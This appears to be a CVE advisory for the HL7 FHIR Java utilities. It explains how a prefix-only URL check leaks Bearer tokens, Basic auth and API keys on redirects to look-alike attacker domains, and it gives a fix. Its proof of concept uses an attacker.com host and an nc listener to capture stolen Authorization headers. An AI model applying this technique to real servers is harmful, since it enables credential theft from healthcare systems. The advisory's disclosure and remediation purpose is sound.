CVE-2026-34359

Description

## Summary `ManagedWebAccessUtils.getServer()` uses `String.startsWith()` to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., `http://tx.fhir.org`) lack a trailing slash or host boundary check, an attacker-controlled domain like `http://tx.fhir.org.attacker.com` matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain. ## Details The root cause is in `ManagedWebAccessUtils.getServer()` at `org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26`: ```java public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { if (url.startsWith(serverDetails.getUrl())) { // <-- no host boundary check return serverDetails; } } } return null; } ``` The configured production terminology server URL is defined without a trailing slash in `FhirSettingsPOJO.java:19`: ```java protected static final String TX_SERVER_PROD = "http://tx.fhir.org"; ``` This means: - `"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org")` → **true** - `"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org")` → **true** **Exploit chain via SimpleHTTPClient (redirect path):** 1. `SimpleHTTPClient.get()` (`SimpleHTTPClient.java:68-105`) makes a request to `http://tx.fhir.org/ValueSet/$expand` 2. On each redirect, the loop calls `getHttpGetConnection(url, accept)` (line 84) → `setHeaders(connection)` (line 117) 3. `setHeaders()` (line 122-133) calls `authProvider.canProvideHeaders(url)` and `authProvider.getHeaders(url)` on the **redirect target URL** 4. `ServerDetailsPOJOHTTPAuthProvider.getServerDetails()` (line 83-84) delegates to `ManagedWebAccessUtils.getServer(url.toString(), servers)` 5. The `startsWith()` check matches `http://tx.fhir.org.attacker.com` against `http://tx.fhir.org` 6. Credentials are dispatched to the attacker's server via `ServerDetailsPOJOHTTPAuthProvider.getHeaders()` (lines 38-58): - Bearer tokens: `Authorization: Bearer {token}` - Basic auth: `Authorization: Basic {base64(user:pass)}` - API keys: `Api-Key: {apikey}` - Custom headers from server config Note: An earlier fix (commit `6b615880` "Strip headers on redirect") added an `isNotSameHost()` check, but this was **removed** in commit `3871cc69` ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following. **Exploit chain via ManagedFhirWebAccessor (OkHttp path):** `ManagedFhirWebAccessor.httpCall()` (line 81-112) sets auth headers via `requestWithAuthorizationHeaders()` before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same `startsWith()` check in `canProvideHeaders()` applies. The same vulnerable pattern also exists in `ManagedWebAccess.isLocal()` (line 214), where `url.startsWith(server.getUrl())` is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix. ## PoC **Step 1: Verify the prefix match behavior** ```java // This demonstrates the core vulnerability String configuredUrl = "http://tx.fhir.org"; // FhirSettingsPOJO.TX_SERVER_PROD String attackerUrl = "http://tx.fhir.org.attacker.com/capture"; System.out.println(attackerUrl.startsWith(configuredUrl)); // Output: true ``` **Step 2: Demonstrate credential dispatch to wrong host** Given a `fhir-settings.json` configuration at `~/.fhir/fhir-settings.json`: ```json { "servers": [ { "url": "http://tx.fhir.org", "authenticationType": "token", "token": "secret-bearer-token-12345" } ] } ``` When `SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand")` follows a 302 redirect to `http://tx.fhir.org.attacker.com/capture`: 1. `setHeaders()` is called with the redirect target URL 2. `authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture"))` returns `true` 3. `authProvider.getHeaders(...)` returns `{"Authorization": "Bearer secret-bearer-token-12345"}` 4. The `Authorization` header with the secret token is sent to `tx.fhir.org.attacker.com` **Step 3: Attacker captures the credential** ```bash # On attacker-controlled server (tx.fhir.org.attacker.com) nc -l -p 80 | head -20 # Output includes: # GET /capture HTTP/1.1 # Host: tx.fhir.org.attacker.com # Authorization: Bearer secret-bearer-token-12345 ``` ## Impact - **Credential theft**: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning). - **Impersonation**: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data. - **Broad exposure**: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in `fhir-settings.json` and makes outbound HTTP requests to terminology servers is affected. - **TLS downgrade**: The same `startsWith()` pattern in `ManagedWebAccess.isLocal()` could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement. ## Recommended Fix Replace the `startsWith()` check in `ManagedWebAccessUtils.getServer()` with proper URL host boundary validation: ```java public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { if (urlMatchesServer(url, serverDetails.getUrl())) { return serverDetails; } } } return null; } /** * Check if a URL matches a configured server URL with proper host boundary validation. * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string. */ private static boolean urlMatchesServer(String url, String serverUrl) { if (url == null || serverUrl == null) return false; if (!url.startsWith(serverUrl)) return false; if (url.length() == serverUrl.length()) return true; char nextChar = url.charAt(serverUrl.length()); return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':'; } ``` Apply the same fix to `ManagedWebAccess.isLocal()` at line 214 and the three-argument `getServer()` overload at line 14. Additionally, consider re-introducing the host-equality check for redirects in `SimpleHTTPClient` (as was previously implemented in commit `6b615880` but removed in `3871cc69`) to provide defense-in-depth against credential leakage on cross-origin redirects.

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